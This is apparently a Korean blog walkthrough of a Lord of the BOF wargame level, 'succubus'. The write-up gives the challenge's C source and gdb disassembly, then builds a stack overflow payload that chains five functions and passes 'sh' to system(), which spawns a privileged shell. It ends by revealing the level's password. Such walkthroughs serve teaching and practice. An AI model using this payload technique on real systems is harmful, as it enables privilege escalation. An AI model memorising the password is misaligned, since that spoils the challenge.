BOF 원정대 – Level 17 (succubus)

문제 소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
 if(check != 4)
 exit(0);

 printf(welcome to the MO!\n);

 // olleh!
 system(cmd);
}

void YUT(void)
{
 if(check != 3)
 exit(0);

 printf(welcome to the YUT!\n);
 check = 4;
}

void GUL(void)
{
 if(check != 2)
 exit(0);

 printf(welcome to the GUL!\n);
 check = 3;
}

void GYE(void)
{
 if(check != 1)
 exit(0);

 printf(welcome to the GYE!\n);
 check = 2;
}

void DO(void)
{
 printf(welcome to the DO!\n);
 check = 1;
}

main(int argc, char *argv[])
{
 char buffer[40];
 char *addr;

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 // you cannot use library
 if(strchr(argv[1], '\x40')){
 printf(You cannot use library\n);
 exit(0);
 }

 // check address
 addr = (char *)&DO;
 if(memcmp(argv[1]+44, &addr, 4) != 0){
 printf(You must fall in love with DO\n);
 exit(0);
 }

 // overflow!
 strcpy(buffer, argv[1]);
 printf(%s\n, buffer);

 // stack destroyer
 // 100 : extra space for copied argv[1]
 memset(buffer, 0, 44);
 memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

 // LD_* eraser
 // 40 : extra space for memset function
 memset(buffer-3000, 0, 3000-40);
}

이번 문제는 각 함수를 RTL을 이용하여 실행 후 마지막 MO() 함수 인자를 구성해준 후 원하는 명령어를 실행하도록 하는 문제이다. 우선 디버깅을 통해 각 함수의 시작 주소를 확인해 보도록 하자.

[zombie_assassin@localhost zombie_assassin]$ gdb succubus_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble DO
Dump of assembler code for function DO:
0x80487ec <DO>: push %ebp
0x80487ed <DO+1>: mov %esp,%ebp
0x80487ef <DO+3>: push $0x8048a0e
0x80487f4 <DO+8>: call 0x804844c <printf>
0x80487f9 <DO+13>: add $0x4,%esp
0x80487fc <DO+16>: movl $0x1,0x8049a90
0x8048806 <DO+26>: leave 
0x8048807 <DO+27>: ret 
End of assembler dump.
(gdb) disassemble GYE
Dump of assembler code for function GYE:
0x80487bc <GYE>: push %ebp
0x80487bd <GYE+1>: mov %esp,%ebp
0x80487bf <GYE+3>: cmpl $0x1,0x8049a90
0x80487c6 <GYE+10>: je 0x80487d2 <GYE+22>
0x80487c8 <GYE+12>: push $0x0
0x80487ca <GYE+14>: call 0x804845c <exit>
0x80487cf <GYE+19>: add $0x4,%esp
0x80487d2 <GYE+22>: push $0x80489f9
0x80487d7 <GYE+27>: call 0x804844c <printf>
0x80487dc <GYE+32>: add $0x4,%esp
0x80487df <GYE+35>: movl $0x2,0x8049a90
0x80487e9 <GYE+45>: leave 
0x80487ea <GYE+46>: ret 
0x80487eb <GYE+47>: nop 
End of assembler dump.
(gdb) disassemble GUL
Dump of assembler code for function GUL:
0x804878c <GUL>: push %ebp
0x804878d <GUL+1>: mov %esp,%ebp
0x804878f <GUL+3>: cmpl $0x2,0x8049a90
0x8048796 <GUL+10>: je 0x80487a2 <GUL+22>
0x8048798 <GUL+12>: push $0x0
0x804879a <GUL+14>: call 0x804845c <exit>
0x804879f <GUL+19>: add $0x4,%esp
0x80487a2 <GUL+22>: push $0x80489e4
0x80487a7 <GUL+27>: call 0x804844c <printf>
0x80487ac <GUL+32>: add $0x4,%esp
0x80487af <GUL+35>: movl $0x3,0x8049a90
0x80487b9 <GUL+45>: leave 
0x80487ba <GUL+46>: ret 
0x80487bb <GUL+47>: nop 
End of assembler dump.
(gdb) disassemble YUT
Dump of assembler code for function YUT:
0x804875c <YUT>: push %ebp
0x804875d <YUT+1>: mov %esp,%ebp
0x804875f <YUT+3>: cmpl $0x3,0x8049a90
0x8048766 <YUT+10>: je 0x8048772 <YUT+22>
0x8048768 <YUT+12>: push $0x0
0x804876a <YUT+14>: call 0x804845c <exit>
0x804876f <YUT+19>: add $0x4,%esp
0x8048772 <YUT+22>: push $0x80489cf
0x8048777 <YUT+27>: call 0x804844c <printf>
0x804877c <YUT+32>: add $0x4,%esp
0x804877f <YUT+35>: movl $0x4,0x8049a90
0x8048789 <YUT+45>: leave 
0x804878a <YUT+46>: ret 
0x804878b <YUT+47>: nop 
End of assembler dump.
(gdb) disassemble MO 
Dump of assembler code for function MO:
0x8048724 <MO>: push %ebp
0x8048725 <MO+1>: mov %esp,%ebp
0x8048727 <MO+3>: cmpl $0x4,0x8049a90
0x804872e <MO+10>: je 0x8048740 <MO+28>
0x8048730 <MO+12>: push $0x0
0x8048732 <MO+14>: call 0x804845c <exit>
0x8048737 <MO+19>: add $0x4,%esp
0x804873a <MO+22>: lea 0x0(%esi),%esi
0x8048740 <MO+28>: push $0x80489bb
0x8048745 <MO+33>: call 0x804844c <printf>
0x804874a <MO+38>: add $0x4,%esp
0x804874d <MO+41>: mov 0x8(%ebp),%eax
0x8048750 <MO+44>: push %eax
0x8048751 <MO+45>: call 0x804840c <system>
0x8048756 <MO+50>: add $0x4,%esp
0x8048759 <MO+53>: leave 
0x804875a <MO+54>: ret 
0x804875b <MO+55>: nop 
End of assembler dump.
(gdb)

주소를 모두 찾았다. 찾은 주소는 아래와 같다.
DO : 0x80487e
GYE : 0x80487bc
GUL : 0x804878c
YUT : 0x804875c
MO : 0x8048724

이제 이 주소들을 이용해서 인자 구성을 하여서 공격을 해보도록 하자.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh: 1TRhLQV: command not found
Segmentation fault
[zombie_assassin@localhost zombie_assassin]$ 

우선 함수들이 제대로 실행됨을 알 수 있다. 이제 마지막으로 MO 함수의 인자를 정확하게 구성해주어 sh 혹은 bash를 실행하면 될 것으로 보인다. 디버깅을 통해 인자를 어찌 구성해줘야 하는지 확인해 보자.

[zombie_assassin@localhost zombie_assassin]$ gdb succubus_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble MO 
Dump of assembler code for function MO:
0x8048724 <MO>: push %ebp
0x8048725 <MO+1>: mov %esp,%ebp
0x8048727 <MO+3>: cmpl $0x4,0x8049a90
0x804872e <MO+10>: je 0x8048740 <MO+28>
0x8048730 <MO+12>: push $0x0
0x8048732 <MO+14>: call 0x804845c <exit>
0x8048737 <MO+19>: add $0x4,%esp
0x804873a <MO+22>: lea 0x0(%esi),%esi
0x8048740 <MO+28>: push $0x80489bb
0x8048745 <MO+33>: call 0x804844c <printf>
0x804874a <MO+38>: add $0x4,%esp
0x804874d <MO+41>: mov 0x8(%ebp),%eax
0x8048750 <MO+44>: push %eax
0x8048751 <MO+45>: call 0x804840c <system>
0x8048756 <MO+50>: add $0x4,%esp
0x8048759 <MO+53>: leave 
0x804875a <MO+54>: ret 
0x804875b <MO+55>: nop 
End of assembler dump.
(gdb) b *MO+45
Breakpoint 1 at 0x8048751
(gdb) r `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + 'BBBB'`
Starting program: /home/zombie_assassin/succubus_tmp `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + 'BBBB'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\AAABBBB
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!

Breakpoint 1, 0x8048751 in MO ()
(gdb) info regi
eax 0x42424242 1111638594
ecx 0x400 1024
edx 0x40106980 1074817408
ebx 0x401081ec 1074823660
esp 0xbffffa88 -1073743224
ebp 0xbffffa8c -1073743220
esi 0x4000ae60 1073786464
edi 0xbffffac4 -1073743164
eip 0x8048751 134514513
eflags 0x282 642
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
cwd 0xffff037f -64641
swd 0xffff0000 -65536
twd 0x0 0
fip 0x401e0178 1075708280
fcs 0x0 0
fopo 0x0 0
fos 0x0 0
(gdb)

MO() 함수에서 system() 함수가 실행되기 전에 브레이크 포인트를 건 후 eax 값을 확인한 결과 인자가 BBBB가 들어감을 확인하였다. 따라서 해당 위치에 bash 혹은 sh 등의 명령어의 주소를 넣어주면 될 것으로 보인다.

그럼 명령어는 어디다 위치시켜야 할까? 그냥 단순히 간단하게 아래와 같이 공격을 하면 될 것으로 보인다.

[zombie_assassin@localhost zombie_assassin]$ gdb succubus_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble MO
Dump of assembler code for function MO:
0x8048724 <MO>: push %ebp
0x8048725 <MO+1>: mov %esp,%ebp
0x8048727 <MO+3>: cmpl $0x4,0x8049a90
0x804872e <MO+10>: je 0x8048740 <MO+28>
0x8048730 <MO+12>: push $0x0
0x8048732 <MO+14>: call 0x804845c <exit>
0x8048737 <MO+19>: add $0x4,%esp
0x804873a <MO+22>: lea 0x0(%esi),%esi
0x8048740 <MO+28>: push $0x80489bb
0x8048745 <MO+33>: call 0x804844c <printf>
0x804874a <MO+38>: add $0x4,%esp
0x804874d <MO+41>: mov 0x8(%ebp),%eax
0x8048750 <MO+44>: push %eax
0x8048751 <MO+45>: call 0x804840c <system>
0x8048756 <MO+50>: add $0x4,%esp
0x8048759 <MO+53>: leave 
0x804875a <MO+54>: ret 
0x804875b <MO+55>: nop 
End of assembler dump.
(gdb) b *MO+45
Breakpoint 1 at 0x8048751
(gdb) r `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + 'BBBB' + 'sh'`
Starting program: /home/zombie_assassin/succubus_tmp `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + 'BBBB' + 'sh'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\AAABBBBsh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!

Breakpoint 1, 0x8048751 in MO ()
(gdb) x/32wx $esp 
0xbffffa88: 0x42424242 0x00000000 0x41414141 0x42424242
0xbffffa98: 0x00006873 0x080484b1 0x08048808 0x00000002
0xbffffaa8: 0xbffffac4 0x0804839c 0x0804894c 0x4000ae60
0xbffffab8: 0xbffffabc 0x40013e90 0x00000002 0xbffffbbb
0xbffffac8: 0xbffffbde 0x00000000 0xbffffc29 0xbffffc43
0xbffffad8: 0xbffffc5a 0xbffffc79 0xbffffc9b 0x00000000
0xbffffae8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffaf8: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) r `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + '\x98\xfa\xff\xbf' + 'sh'` 
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/zombie_assassin/succubus_tmp `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + '\x98\xfa\xff\xbf' + 'sh'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\AAAsh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!

Breakpoint 1, 0x8048751 in MO ()
(gdb) c
Continuing.
bash$ 

쉘이 떨어졌다. 이제 본 프로그램에 공격을 해보도록 하자.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + '\x98\xfa\xff\xbf' + 'sh'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\AAAsh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + '\xa8\xfa\xff\xbf' + 'sh'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\AAAsh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh: : command not found
Segmentation fault
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print 'A'*44 + '\xec\x87\x04\x08' + '\xbc\x87\x04\x08' + '\x8c\x87\x04\x08' + '\x5c\x87\x04\x08' + '\x24\x87\x04\x08' + 'AAAA' + '\xb8\xfa\xff\xbf' + 'sh'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\AAAsh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay
bash$ 

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다